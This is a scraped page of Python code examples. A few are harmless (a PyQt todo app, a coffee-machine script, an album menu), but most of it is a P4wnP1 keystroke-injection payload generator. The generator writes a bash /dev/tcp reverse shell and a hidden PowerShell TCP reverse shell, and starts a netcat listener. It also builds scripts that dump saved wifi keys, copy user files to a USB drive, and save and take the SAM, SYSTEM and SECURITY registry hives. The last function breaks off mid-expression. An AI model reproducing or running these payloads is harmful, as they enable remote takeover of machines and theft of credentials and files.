Ejemplo n.º 1
0
Archivo: gui.py Proyecto: l0o0/cuc
 def __init__(self):
     super().__init__()
     self.left = 10
     self.top = 10
     self.width = 460
     self.height = 360
     # read configure file
     self.config = CONFIG()
     self.initUI()
     # create tasks by reading files in configure file
     tasks = Tasks()
     tasks.readFromFile(self.config.config['todotxt'])
     tasks.taskSort()
     # create done tasks list from done.txt, add status saved.
     self.doneTask = Tasks()
     self.doneTask.readFromFile(self.config.config['donetxt'], 'saved')
     # create tray icon 
     self.initTrayIcon(tasks.tasklines)
     # create tab1,  parent is APP
     self.initTab1(tasks)    
     self.initTab2()  
     self.initTab3()
     self.menu = MENU(self)
     self.initTab()
     QtGui.QFontDatabase.addApplicationFont('font/NotoColorEmoji.ttf')
     # focus on new task edit line
     self.tab1.textboxAdd.setFocus()
Ejemplo n.º 2
0
def coffeeMachine():
    usrval = input("What would you like? (espresso/latte/cappuccino): ")
    if usrval in MENU.keys():
        coins = COINS.copy()
        print("Please insert coins: ")
        for k, v in COINS.items():
            val = int(input(f"How many {k}: "))
            COINS[k] = val * COINS[k]
        if sum(COINS.values()) >= MENU[usrval]["cost"]:
            x = sum(COINS.values()) - MENU[usrval]["cost"]
            change = round(x, 2)
            print(f"Here is your ${change} in change.")
            print(f"Here is you {usrval} Enjoy!")
            resourceSub(usrval)
            resourceCheck()
            if not EMPTY:
                for k in COINS and coins:
                    COINS[k] = coins[k]
                coffeeMachine()
        else:
            print("Please insert the right amount of money")
            coffeeMachine()
    elif usrval == "report":
        for k, v in resources.items():
            print(k, v)
        coffeeMachine()
    else:
        print("Invalid input!")
Ejemplo n.º 3
0
def menu(ALBUMS):
    print("MENU")
    print_dictionary(MENU)

    option = input("Provide operation number: ")
    while not option in MENU.keys():
        option = input("Provide operation number: ")

    if option == "1":
        ALBUMS = import_albums()
    elif option == "2":
        display_albums(ALBUMS)
    elif option == "3":
        genre = input("Provide genre: ")
        display_albums(get_albums_by(GENRE_INDEX, genre, ALBUMS))
    elif option == "4":
        year = input("Provide year: ")
        display_albums(get_albums_by(YEAR_INDEX, year, ALBUMS))
    elif option == "5":
        display_albums(get_youngest_album(ALBUMS))
    elif option == "6":
        display_albums(sort_albums_by_year(ALBUMS))
    elif option == "7":
        time_from = input("Provide time from: (mm:ss)")
        time_to = input("Provide time to: (mm:ss)")

        display_albums(get_albums_by_time_range(time_from, time_to, ALBUMS))
    else:
        exit()
Ejemplo n.º 4
0
def linux():	# function payload linux
    from lwsystem import osuser
    from menu import MENU
    script = raw_input("\nchoose the payload to generate : \n\n1) bash reverse shell \n\n2) hello word\n\nchoice : ") # choice payloads to generate
    settingkeyboardlayout=raw_input("\nchoose the keyboard layout : ")
    settingdelay = raw_input("\nchoose the delay between each instruction (ms) : ")


    if script == "1":		# bash reverse LINUX GNOME
	ip = raw_input("ip : ")
	port = raw_input("port : ")
	bashreverse = ("layout(\'")+(settingkeyboardlayout)+("\')\n")+("press(\"ALT F2\")\n")+("delay(200)\n")+("type(\"gnome-terminal\\n\")\n")+("delay(")+(settingdelay)+(")\n")+("type(\"bash -i >& /dev/tcp/")+(ip)+("/")+(port)+(" 0>&1 & exit\\n\")\n\n")
	os.system("clear")
	print (bashreverse)
        file = open("Output-payloads/linux-reverse-" + (settingkeyboardlayout) + ".js","w") 
        file.write(bashreverse)
        file.close()
        nc = raw_input("start netcat listener ? \n\n1) yes\n2) no : ")
        if nc == "1":
                os.system("nc -lvp " + (port))

    if script == "2":		# hello world
	hellow = ("layout(\'")+(settingkeyboardlayout)+("\')\n")+("press(\"ALT F2\")\n")+("delay(200)\n")+("type(\"gnome-terminal\\n\")\n")+("delay(")+(settingdelay)+(")\n")+("type(\"leafpad\\n\")\n")+("delay(")+(settingdelay)+(")\n")+("type(\"HELLO World fRoM P4wnP1\\n\")\n")
	print (hellow)
        file = open("Output-payloads/linux-hello-w-" + (settingkeyboardlayout) + ".js","w") 
        file.write(hellow)
        file.close()


    print ("\nsaved at Output/" + (script))		# where it is save
    menu2 = raw_input("\n\n1) back to menu\n2) generate other payload for only P4wnP1 web interface\n3) exit\n\n>")

    if menu2 == "1":
	os.system("clear")
	MENU()

    elif menu2 == "2":
	os.system("clear")
	osuser()

    elif menu2 == "3":
	rabbit()
	exit()
Ejemplo n.º 5
0
def editor(): # tool editor function

    from ascci import rabbit
    from editor import editor
    from keydetect import keydetect
    from lwsystem import osuser
    from creds import creds
    from menu import MENU

    liste = []
    os.system("clear")
    print ("translate a ducky script keyboard keys into a keyboard keys adapted to the web interface of P4wnP1 A.L.O.A.\n\nput a ducky script keyboard keys and press enter to add another ducky script,\npress" +"\x1b[0;31m" + " CTRL c " + "\x1b[0m" + "when you are finish\n\nESC, GUI r, ENTER, STRING, REM, ALT, CTRL, TAB, LEFT, RIGHT, UP, DOWN, F1, F2, DELETE, CAPSLOCK, NUMLOCK, HOME, END, BREAK \n") #\n\n========================\npress ENTER for continue\n========================\n")

    while 1== 1:
        try:
	    liste.append(raw_input("\x1b[0m"+""))
        except KeyboardInterrupt:
            print("\n")
            for l in liste:
                if l == "GUI r": 		# GUI r
                    print('press(\"GUI r\")')	# press("GUI r")

                elif l[:3] == "REM":		# REM
                    print "//"+str(l[3:]) 	# //

	        elif  l[:5] == "DELAY":			# DELAY
	    	    print "delay("+str(l[6:])+str(")")  # delay()

	        elif l[:6] == "STRING":			  	# STRING
		    print "type(\""+str(l[7:])+str("\")") 	# type("")

	        elif l == "ENTER":		# ENTER
		    print "press(\"ENTER\")"	# type("\n") or press("ENTER")

                elif l == "SHIFT":		# SHIFT
                    print "press(\"SHIFT\")"	# press("SHIFT")

	        elif l == "ALT":		# ALT
	       	    print "press(\"ALT\")"	# press("ALT")

                elif l == "CAPSLOCK":			# CAPSLOCK
                    print "press(\"CAPSLOCK\")"		# press("CAPSLOCK")

                elif l == "NUMLOCK":		# NUMLOCK
                    print "press(\"NUMLOCK\")"	# press("NUMLOCK")

                elif l == "HOME":		# HOME
                    print "press(\"HOME\")"	# press("HOME")

                elif l == "END":	# END
                    print "press(\"END\")"	# press("END")

	        elif l == "CTRL":		# CTRL
	       	    print "press(\"CTRL\")"	# press("CTRL")

                elif l == "ESC": 		# ESC or ESCAPE
                    print "press(\"ESC\")"	# press("ESC")

                elif l == "ESCAPE":                # ESC or ESCAPE
                    print "press(\"ESC\")"      # press("ESC")

                elif l == "TAB":		# TAB
                    print "press(\"TAB\")"	# press("TAB")

                elif l == "BREAK":		# BREAK
                    print "press(\"BREAK\")"	# press("BREAK")

		elif l == "DELETE":		# DELETE
		    print "press(\"DELETE\")"	# press("DELETE")

	        elif l == "UP":		 	# UP
		    print "press(\"UP\")"	#press("UP")

	        elif l == "UPARROW":		# UPARROW
		    print "press(\"UP\")"	# press("UP")

	        elif l == "DOWN":		#DOWN
		    print "press(\"DOWN\")"	#press("DOWN")

                elif l == "DOWNARROW":		# DOWNARROW
                    print "press(\"DOWN\")"	# press("DOWN")

                elif l == "RIGHT":		# RIGHT
                    print "press(\"RIGHT\")"	# press("RIGHT")

                elif l == "RIGHTARROW":		# RIGHTARROW
                    print "press(\"RIGHT\")"	# press("RIGHT")

                elif l == "LEFTARROW": 		# LEFTARROW
                    print "press(\"LEFT\")"	# press("LEFT")

                elif l == "LEFT":          	# LEFT
                    print "press(\"LEFT\")"     # press("LEFT")

                elif l == "F1":			# F1
                    print "press(\"F1\")"	# press("F1")

                elif l == "F2":			# F2
                    print "press(\"F2\")"

                elif l == "F3":			# F3
                    print "press(\"F3\")"

                elif l == "F4":			# F4
                    print "press(\"F4\")"

                elif l == "F5":			# F5
                    print "press(\"F5\")"

                elif l == "F6":			# F6
                    print "press(\"F6\")"

                elif l == "F7":			# F7
                    print "press(\"F7\")"

                elif l == "F8":			# F8
                    print "press(\"F8\")"

                elif l == "F9":			# F9
                    print "press(\"F9\")"

                elif l == "F10":		# F10
                    print "press(\"F10\")"

                elif l == "F11":		# F11
                    print "press(\"F11\")"

                elif l == "F12":		# F12
                    print "press(\"F12\")"

            menu = raw_input("\n\n\nWhat do you want now ?\n\n1) convert another\n2) back to menu\n3) exit\n\n> ") # second menu
	    if menu == "1":
		editor()

            elif menu == "2":
		os.system("clear")
		MENU()
	    elif menu == "3":
		rabbit()
		exit()
            break
Ejemplo n.º 6
0
Archivo: gui.py Proyecto: l0o0/cuc
class App(QWidget):
    def __init__(self):
        super().__init__()
        self.left = 10
        self.top = 10
        self.width = 460
        self.height = 360
        # read configure file
        self.config = CONFIG()
        self.initUI()
        # create tasks by reading files in configure file
        tasks = Tasks()
        tasks.readFromFile(self.config.config['todotxt'])
        tasks.taskSort()
        # create done tasks list from done.txt, add status saved.
        self.doneTask = Tasks()
        self.doneTask.readFromFile(self.config.config['donetxt'], 'saved')
        # create tray icon 
        self.initTrayIcon(tasks.tasklines)
        # create tab1,  parent is APP
        self.initTab1(tasks)    
        self.initTab2()  
        self.initTab3()
        self.menu = MENU(self)
        self.initTab()
        QtGui.QFontDatabase.addApplicationFont('font/NotoColorEmoji.ttf')
        # focus on new task edit line
        self.tab1.textboxAdd.setFocus()


        
    def initUI(self):
        # 设置窗口固定大小
        self.setFixedSize(self.width, self.height)
        # 设置窗体无边框
        if self.config.config['layout']['window_fixed']:
            self.setWindowFlags(QtCore.Qt.WindowStaysOnTopHint | QtCore.Qt.Tool | QtCore.Qt.FramelessWindowHint | QtCore.Qt.CustomizeWindowHint)
        else:
            self.setWindowTitle('Cuc')
            self.setWindowIcon(QtGui.QIcon('icons/icon1.png'))
            self.setWindowFlags(QtCore.Qt.WindowStaysOnTopHint | QtCore.Qt.Window)
        # 设置透明背景
        self.setWindowOpacity(0.95)
        #self.setAttribute(QtCore.Qt.WA_TranslucentBackground) # 设置窗口背景透明

        ag = QDesktopWidget().availableGeometry()    # 显示器可用的长宽信息
        self.maxwidth = ag.width()
        self.maxheight = ag.height()
        self.fixedGeometry = (ag.width() - self.width - 20, 
                        ag.height() - self.height - 5, 
                        self.width, 
                        self.height)
        self.setGeometry(*self.fixedGeometry)
        self.show()
        self.activateWindow()



    def initTrayIcon(self, init_tasklines):
        self.tray_icon = SystemTrayIcon(init_tasklines, self)
        self.tray_icon.show()


    def initTab(self):
        # init tab 
        self.layout = QVBoxLayout()
        self.tabs = QTabWidget()       
        self.tabs.resize(458, 358)
        self.tabs.addTab(self.tab1, "TODO")
        self.tabs.addTab(self.tab2, 'DONE')
        self.tabs.addTab(self.tab3, "Summary")
        self.bottom = QHBoxLayout()
        self.pinButton = QtWidgets.QPushButton()
        self.pinButton.setToolTip('Keep window on top.')
        self.menuButton = QtWidgets.QPushButton()
        self.menuButton.setToolTip('Show preference setting window.')
        self.pinButton.setMaximumSize(30, 30)
        self.pinButton.setCheckable(True)
        self.pinButton.setChecked(True)
        self.pinButton.setIcon(QtGui.QIcon("icons/pinterest2.png"))
        self.pinButton.clicked.connect(self.winPinTop)
        self.menuButton = QtWidgets.QPushButton()
        self.menuButton.setMaximumSize(30, 30)
        self.menuButton.setChecked(True)
        self.menuButton.setIcon(QtGui.QIcon("icons/cog.png"))
        self.menuButton.clicked.connect(self.showMenu)
        self.bottom.addWidget(self.pinButton,alignment=QtCore.Qt.AlignRight)
        self.bottom.addWidget(self.menuButton)
        self.bottom.setContentsMargins(1, 1, 1, 1)

        # add tabs to widget
        self.layout.addWidget(self.tabs)
        self.layout.addLayout(self.bottom)
        self.layout.setContentsMargins(0, 1, 0, 2)
        self.setLayout(self.layout)


    # tab1 
    def initTab1(self, tasks):
        self.tab1 = TAB1(tasks, self)


    # tab2 
    def initTab2(self):
        self.tab2 = TAB2(self)
        self.tab2.doneTask = self.doneTask
        print('done tasks', len(self.tab2.doneTask.tasklines))

    
    # tab3 
    def initTab3(self):
        self.tab3 = TAB3(self)

    # hide to system tray instead of close
    def closeEvent(self, event):
        event.ignore()
        self.hide()

    # display window in the right bottom
    def rightBottomShow(self):
        self.setGeometry(*self.fixedGeometry)
        self.show()
        self.activateWindow()
        # focus on new task edit line
        self.tab1.textboxAdd.setFocus()

    
    # update tab1 table 
    def updateTab1Table(self, taskline=None):
        if taskline:
            self.tab1.tasks.tasklines.append(taskline)
            self.tab1.tasks.taskSort()
        self.tab1.tab1TaskTable.clear()
        self.tab1.tab1TaskTable.setRowCount(len(self.tab1.tasks.tasklines))
        self.tab1.tasks.taskSort()
        for i, t in enumerate(self.tab1.tasks.tasklines):
            cellwidget = self.tab1.createCellQlabel(i)
            self.tab1.tab1TaskTable.setCellWidget(i, 0, cellwidget)
            editButton = self.tab1.createButton('checkmark')
            deleteButton = self.tab1.createButton('delete')            
            self.tab1.tab1TaskTable.setCellWidget(i,1, editButton)
            self.tab1.tab1TaskTable.setCellWidget(i,2, deleteButton)


    # update tab2 table
    def updateTab2Table(self, insert_taskline=None):
        if insert_taskline:
            self.tab2.doneTask.tasklines.insert(0, insert_taskline)
            self.tab2.tab2TaskTable.insertRow(0)
            self.tab2.createTaskRow(insert_taskline, 0, self.tab2.tab2TaskTable)
        else:
            self.tab2.tab2TaskTable.clear()
            unsavedDoneTasks = [t for t in self.tab2.doneTask.tasklines if getattr(t, 'status', None)  != 'saved']
            self.tab2.tab2TaskTable.setRowCount(len(unsavedDoneTasks))
            for i, t in enumerate(unsavedDoneTasks):
                self.tab2.createTaskRow(t, i, self.tab2.tab2TaskTable)
    

    @QtCore.pyqtSlot()
    def winPinTop(self):
        button = self.sender()
        if button.isChecked():
            print('on top')
            self.setWindowFlags(self.windowFlags() | QtCore.Qt.WindowStaysOnTopHint)
            self.rightBottomShow()
        else:
            print('no top')
            self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowStaysOnTopHint)
            self.rightBottomShow()

    
    def showMenu(self):
        if self.menu.isHidden():
            self.menu.show()
        else:
            self.menu.close()

    
    def reloadTable(self):
        #print(self.config.config)
        print('update tab1')
        self.updateTab1Table()
        print('update tab2')
        self.updateTab2Table()
Ejemplo n.º 7
0
def windows():  # function payloads Windows

    script = raw_input(
        "choose the payload to generate : \n\n1) dump wifi key | layout fr\n2) dump wifi key | layout 'us' 'de' ...\n\n3) reverse shell hiden powershell 'fr'\n4) reverse shell hiden powershell 'us' 'de'\n\n5) stealing files Seytonic method | fr\n6) stealing files Seytonic method | 'us' 'de'\n\n7) windows fake update \n\n8) hello world \n\n9) website\n\n10) exfiltre SAM, SYSTEM, SECURITY files 'FR'\n11) exfiltre SAM, SYSTEM, SECURITY files 'US', 'DE'\n\nchoice : "
    )
    os.system("clear")
    if script == "2" or script == "4" or script == "6" or script == "7" or script == "8" or script == "9" or script == "11":
        settingkeyboardlayout = raw_input("\nchoose the keyboard layout : ")
    settingdelay = raw_input(
        "\nchoose the delay between each instruction (ms) : ")

    if script == ("1"):  # dump wifi password FR
        script = ("dump-wifi-fr.js")
        ums = raw_input(
            "\nname of the UMS of P4wnP1\n(by default the name of test.bin is \"README\")\npress enter by default\n: "
        )
        if ums == "":
            ums = ("README")
        dumpwififr = ("\nlayout(\'fr\')\n") + ("press(\"GUI r\")\n") + (
            "delay(200)\n"
        ) + ("type(\"powershell.exe\")\n") + (
            "press(\"CTRL SHIFT ENTER\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + ("press(\"LEFT\")\n") + (
            "press(\"ENTER\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"netsh wlan show profiles * key=clear > wirelesspassword.txt\")\n"
        ) + ("press(\"ENTER\")\n") + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"$usbPath = Get-WMIObject Win32_Volume \")\n"
        ) + ("layout(\'us\')\n") + ("press(\"RIGHT_ALT 6\")\n") + (
            "layout('fr')\n") + ("type(\" ? { $_.Label -eq '") + (ums) + (
                "' } \")\n"
            ) + ("layout(\'us\')\n") + ("press(\"RIGHT_ALT 6\")\n") + (
                "layout(\'fr\')\n"
            ) + ("type(\" select name\\n\")\n") + ("delay(200)\n") + (
                "type(\"copy wirelesspassword.txt $usbpath.name\\n\")\n") + (
                    "type(\"del wirelesspassword.txt ; exit\\n\")\n")
        os.system("clear")
        print(dumpwififr)
        file = open("Output-payloads/win-dump-wifi-fr.js", "w")
        file.write(dumpwififr)
        file.close()

    if script == ("2"):  # dump wifi password US, DE +
        script = ("dump-wifi-" + (settingkeyboardlayout) + ".js")
        ums = raw_input(
            "\nname of the UMS of P4wnP1\n(by default the name of test.bin is \"README\")\npress enter by default\n: "
        )
        if ums == "":
            ums = ("README")
        dumpwifius = ("\nlayout(\'") + (settingkeyboardlayout) + ("\')\n") + (
            "press(\"GUI r\")\n"
        ) + ("delay(400)\n") + ("type(\"powershell.exe\")\n") + (
            "press(\"CTRL SHIFT ENTER\")\n"
        ) + ("delay(1200)\n") + ("press(\"LEFT\")\n") + (
            "press(\"ENTER\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"netsh wlan show profiles * key=clear > wirelesspassword.txt\\n\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq \'"
        ) + (ums) + ("\' } | select name \\n\")\n") + (
            "type(\"copy wirelesspassword.txt $usbpath.name\\n\")\n") + (
                "type(\"del wirelesspassword.txt ; exit\\n\")\n")
        os.system("clear")
        print(dumpwifius)
        file = open(
            "Output-payloads/win-dump-wifi-" + (settingkeyboardlayout) + ".js",
            "w")
        file.write(dumpwifius)
        file.close()

    if script == ("3"):  # reverse tcp hiden powershell FR
        script = ("reverse-hiden-powershell-fr.js")
        ip = raw_input("ip : ")
        port = raw_input("port : ")
        reversefr = ("\nlayout(\'fr\')\n") + ("press(\"GUI r\")\n") + (
            "delay(200)\n"
        ) + ("type(\"powershell.exe\")\n") + (
            "press(\"CTRL SHIFT ENTER\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + ("press(\"LEFT\")\n") + (
            "press(\"ENTER\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"PowerShell.exe -windowstyle hidden { \\n\")\n"
        ) + ("type(\"$client = [System.Net.Sockets.TCPClient]::new(\'") + (
            ip
        ) + (
            "\', "
        ) + (
            port
        ) + (
            ")\\n\")\n"
        ) + ("type(\"[byte[]]$bytes = (0..65535).ForEach{ 0 }\\n\")\n") + (
            "type(\"$stream = $client.GetStream()\\n\")\n"
        ) + (
            "type(\"while ($i = $stream.Read($bytes, 0, $bytes.Length)) {\\n\")\n"
        ) + (
            "type(\"    $data = [System.Text.Encoding]::ASCII.GetString($bytes, 0, $i)\\n\")\n"
        ) + (
            "type(\"    $sendback = (Invoke-Expression -Command $data 2>&1 \")\n"
        ) + ("layout(\'us\')\n") + ("press(\"RIGHT_ALT 6\")\n") + (
            "layout(\'fr\')\n"
        ) + ("type(\" Out-String)\\n\")\n") + (
            "type(\"    $prompt = $sendback + \'PS \' + $PWD.Path + \'> \'\\n\")\n"
        ) + (
            "type(\"    $sendbyte = ([System.Text.Encoding]::ASCII).GetBytes($prompt)\\n\")\n"
        ) + ("type(\"    $stream.Write($sendbyte, 0, $sendbyte.Length)\\n\")\n"
             ) + ("type(\"    $stream.Flush()\\n\")\n") + (
                 "type(\"}\\n\")\n") + ("type(\"$client.Close()\\n\")\n") + (
                     "type(\"}\\n\")\n")
        os.system("clear")
        print(reversefr)
        nc = raw_input("start netcat listener ? \n\n1) yes\n2) no : ")
        if nc == "1":
            os.system("nc -lvp " + (port))
        file = open("Output-payloads/win-reverse-hiden-powershell-fr.js", "w")
        file.write(reversefr)
        file.close()

    if script == ("4"):  # reverse tcp hiden powershell US, DE
        script = ("reverse-hiden-powershell-" + (settingkeyboardlayout) +
                  ".js")
        ip = raw_input("ip : ")
        port = raw_input("port : ")
        reverseus = ("\nlayout(\'") + (settingkeyboardlayout) + ("\')\n") + (
            "press(\"GUI r\")\n"
        ) + ("delay(200)\n") + ("type(\"powershell.exe\")\n") + (
            "press(\"CTRL SHIFT ENTER\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + ("press(\"LEFT\")\n") + (
            "press(\"ENTER\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"PowerShell.exe -windowstyle hidden { \\n\")\n"
        ) + ("type(\"$client = [System.Net.Sockets.TCPClient]::new(\'") + (
            ip
        ) + (
            "\', "
        ) + (
            port
        ) + (
            ")\\n\")\n"
        ) + ("type(\"[byte[]]$bytes = (0..65535).ForEach{ 0 }\\n\")\n") + (
            "type(\"$stream = $client.GetStream()\\n\")\n"
        ) + (
            "type(\"while ($i = $stream.Read($bytes, 0, $bytes.Length)) {\\n\")\n"
        ) + (
            "type(\"    $data = [System.Text.Encoding]::ASCII.GetString($bytes, 0, $i)\\n\")\n"
        ) + (
            "type(\"    $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String)\\n\")\n"
        ) + (
            "type(\"    $prompt = $sendback + \'PS \' + $PWD.Path + \'> \'\\n\")\n"
        ) + (
            "type(\"    $sendbyte = ([System.Text.Encoding]::ASCII).GetBytes($prompt)\\n\")\n"
        ) + ("type(\"    $stream.Write($sendbyte, 0, $sendbyte.Length)\\n\")\n"
             ) + ("type(\"    $stream.Flush()\\n\")\n") + (
                 "type(\"}\\n\")\n") + ("type(\"$client.Close()\\n\")\n") + (
                     "type(\"}\\n\")\n")
        os.system("clear")
        print(reverseus)
        nc = raw_input("start netcat listener ? \n\n1) yes\n2) no : ")
        if nc == "1":
            os.system("nc -lvp " + (port))

        file = open(
            "Output-payloads/win-reverse-hiden-powershell-" +
            (settingkeyboardlayout) + ".js", "w")
        file.write(reverseus)
        file.close()

    if script == ("5"):  #  stealing files Seytonic way FR
        script = ("stealing-files-fr.js")
        ums = raw_input(
            "\nname of the UMS of P4wnP1\n(by default the name of test.bin is \"README\")\npress enter by default\n: "
        )
        if ums == "":
            ums = ("README")
        x = raw_input(
            "\n\nput extenssion files \n(like this : jpg,pdf,txt..)\n: ")
        a = x.split(",")
        output = "["
        for i in a[:len(a) - 1]:
            output += '"' + i + '", '
        output += '"' + a[len(a) - 1] + '"]'
        print(output)
        stealingfr = ("\n\nlayout(\'fr\')\n") + ("press(\"GUI r\")\n") + (
            "delay(500)\n"
        ) + ("type(\"powershell.exe\\n\")\n") + ("delay(") + (settingdelay) + (
            ")\n"
        ) + ("type(\"$usbPath = Get-WMIObject Win32_Volume \")\n") + (
            "layout(\'us\')\n"
        ) + ("press(\"RIGHT_ALT 6\")\n") + ("layout(\'fr\')\n") + (
            "type(\" ? { $_.Label -eq \'"
        ) + (ums) + ("\' } \")\n") + ("layout(\'us\')\n") + (
            "press(\"RIGHT_ALT 6\")\n"
        ) + ("layout(\'fr\')\n") + (
            "type(\" select name\\n\")\n"
        ) + ("var filetypes = ") + (
            output
        ) + (
            "\n"
        ) + ("for (var i = 0; i < filetypes.length; i++) {\n") + (
            "    type(\"copy */*.\" + filetypes[i] + \" $usbpath.name\\n\")\n"
        ) + ("}\n") + ("type(\"exit\\n\")\n")
        os.system("clear")
        print(stealingfr)
        file = open("Output-payloads/win-stealing-files-fr.js", "w")
        file.write(stealingfr)
        file.close()

    if script == ("6"):  #  stealing files Seytonic way US de
        script = ("stealing-files-" + (settingkeyboardlayout) + ".js")
        ums = raw_input(
            "\nname of the UMS of P4wnP1\n(by default the name of test.bin is \"README\")\npress enter by default\n: "
        )
        if ums == "":
            ums = ("README")
        x = raw_input(
            "\n\nput extenssion files \n(like this : jpg,pdf,txt..)\n: ")
        a = x.split(",")
        output = "["
        for i in a[:len(a) - 1]:
            output += '"' + i + '", '
        output += '"' + a[len(a) - 1] + '"]'
        print(output)
        stealingus = ("\nlayout(\'") + (settingkeyboardlayout) + ("\')\n") + (
            "press(\"GUI r\")\n"
        ) + ("delay(200)\n") + ("type(\"powershell.exe\\n\")\n") + (
            "delay("
        ) + (settingdelay) + (")\n") + (
            "type(\"$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq \'"
        ) + (ums) + ("\' } | select name\\n\")\n") + ("var filetypes = ") + (
            output
        ) + ("\n") + ("for (var i = 0; i < filetypes.length; i++) {\n") + (
            "    type(\"copy */*.\" + filetypes[i] + \" $usbpath.name\\n\")\n"
        ) + ("}\n") + ("type(\"exit\\n\")\n")
        os.system("clear")
        print(stealingus)
        file = open(
            "Output-payloads/win-stealing-files-" + (settingkeyboardlayout) +
            ".js", "w")
        file.write(stealingus)
        file.close()

    if script == "7":  # windows fake update
        script = ("windows-fake-update-" + (settingkeyboardlayout) + ".js")
        os.system("clear")
        fakeupd = ("\nlayout('") + str(settingkeyboardlayout) + str(
            "')\n"
        ) + str("delay(") + str(settingdelay) + str(
            ")\ntypingSpeed(0,0);\npress(\"GUI r\")\n"
        ) + str("delay(") + str(settingdelay) + str(
            ")\ntype(\"iexplore -k http://fakeupdate.net/win10u/index.html\\n\")\n"
        )
        print(fakeupd)
        file = open(
            "Output-payloads/win-windows-fake-update-" +
            (settingkeyboardlayout) + ".js", "w")
        file.write(fakeupd)
        file.close()

    elif script == "8":  # hello world
        script = ("Hello-Word-" + (settingkeyboardlayout) + ".js")
        os.system("clear")
        hellow = ("\nlayout('") + (settingkeyboardlayout) + ("\')") + (
            "\ntypingSpeed(0,0)\npress(\"GUI r\")\ndelay(") + (
                settingdelay) + (")\ntype(\"notepad\\n\")\ndelay(") + (
                    settingdelay) + (")\ntype(\"hello world\")\n")
        print(hellow)
        file = open(
            "Output-payloads/win-hellow-" + (settingkeyboardlayout) + ".js",
            "w")
        file.write(hellow)
        file.close()

    elif script == "9":  # website
        script = ("website-" + (settingkeyboardlayout) + ".js")
        website = raw_input("\nwebsite (ex: https://github.com/DuckyTools : ")
        os.system("clear")
        websitevar2 = ("\nlayout('") + (settingkeyboardlayout) + ("')\n") + (
            "delay(") + (settingdelay) + (
                ")\ntypingSpeed(0,0);\npress(\"GUI r\")\n") + ("delay(") + (
                    settingdelay) + (")\ntype(\"") + (website) + ("\\n\")\n")
        print(websitevar2)
        file = open(
            "Output-payloads/win-website-" + (settingkeyboardlayout) + ".js",
            "w")
        file.write(websitevar2)
        file.close()

    elif script == "10":
        script = ("sam,security,system-windows-files-" + ("fr") + ".js")
        os.system("clear")
        ums = raw_input(
            "\nname of the UMS of P4wnP1\n(by default the name of test.bin is \"README\")\npress enter by default\n: "
        )
        if ums == "":
            ums = ("README")
        os.system("clear")
        windowshashfr = ("\nlayout(\'fr\')\n") + ("press(\"GUI r\")\n") + (
            "delay(200)\n"
        ) + ("type(\"cmd\")\n") + ("press(\"CTRL SHIFT ENTER\")\n") + (
            "delay("
        ) + (settingdelay) + (")\n") + ("press(\"LEFT\")\n") + (
            "delay(200)\n"
        ) + ("press(\"ENTER\")\n") + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"reg.exe save hklm\\\sam C:\\\Windows\\\Temp\\\sam.save\\n\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"reg.exe save hklm\\\system C:\\\Windows\\\Temp\\\system.save\\n\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"reg.exe save hklm\\\security C:\\\Windows\\\Temp\\\security.save\\n\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + ("type(\"exit\\n\")\n") + (
            "delay(200)\n"
        ) + ("press(\"GUI r\")\n") + ("delay(200)\n") + (
            "type(\"powershell.exe\")\n"
        ) + ("press(\"CTRL SHIFT ENTER\")\n") + ("delay(1000)\n") + (
            "press(\"LEFT\")\n"
        ) + ("press(\"ENTER\")\n") + (
            "delay(1500)\n"
        ) + ("type(\"$usbPath = Get-WMIObject Win32_Volume \")\n") + (
            "layout(\'us\')\n"
        ) + (
            "press(\"RIGHT_ALT 6\")\n"
        ) + (
            "layout(\'fr\')\n"
        ) + (
            "type(\" ? { $_.Label -eq '"
        ) + (
            ums
        ) + (
            "' } \")\n"
        ) + (
            "layout(\'us\')\n"
        ) + (
            "press(\"RIGHT_ALT 6\")\n"
        ) + (
            "layout(\'fr\')\n"
        ) + (
            "type(\" select name\\n\")\n"
        ) + (
            "type(\"cp C:\\\Windows\\\\temp\\\sam.save $usbPath.name\\n\")\n"
        ) + ("delay(400)\n") + (
            "type(\"cp C:\\\Windows\\\\temp\\\security.save $usbPath.name\\n\")\n"
        ) + ("delay(400)\n") + (
            "type(\"cp C:\\\Windows\\\\temp\\\system.save $usbPath.name\\n\")\n"
        ) + ("delay(2000)\n") + ("type(\"exit\\n\")\n")
        print(windowshashfr)
        file = open("Output-payloads/SAM,SYSTEM,SECURITY-fr.js", "w")
        file.write(windowshashfr)
        file.close()

    elif script == "11":
        script = ("sam,security,system-windows-files-" + ("fr") + ".js")
        os.system("clear")
        ums = raw_input(
            "\nname of the UMS of P4wnP1\n(by default the name of test.bin is \"README\")\npress enter by default\n: "
        )
        if ums == "":
            ums = ("README")
        os.system("clear")
        windowshashus = ("\nlayout(\'") + (settingkeyboardlayout) + (
            "\')\n"
        ) + ("press(\"GUI r\")\n") + ("delay(200)\n") + ("type(\"cmd\")\n") + (
            "press(\"CTRL SHIFT ENTER\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + ("press(\"LEFT\")\n") + (
            "delay(200)\n"
        ) + ("press(\"ENTER\")\n") + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"reg.exe save hklm\\\sam C:\\\Windows\\\Temp\\\sam.save\\n\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"reg.exe save hklm\\\system C:\\\Windows\\\Temp\\\system.save\\n\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + (
            "type(\"reg.exe save hklm\\\security C:\\\Windows\\\Temp\\\security.save\\n\")\n"
        ) + ("delay(") + (settingdelay) + (")\n") + ("type(\"exit\\n\")\n") + (
            "delay(200)\n"
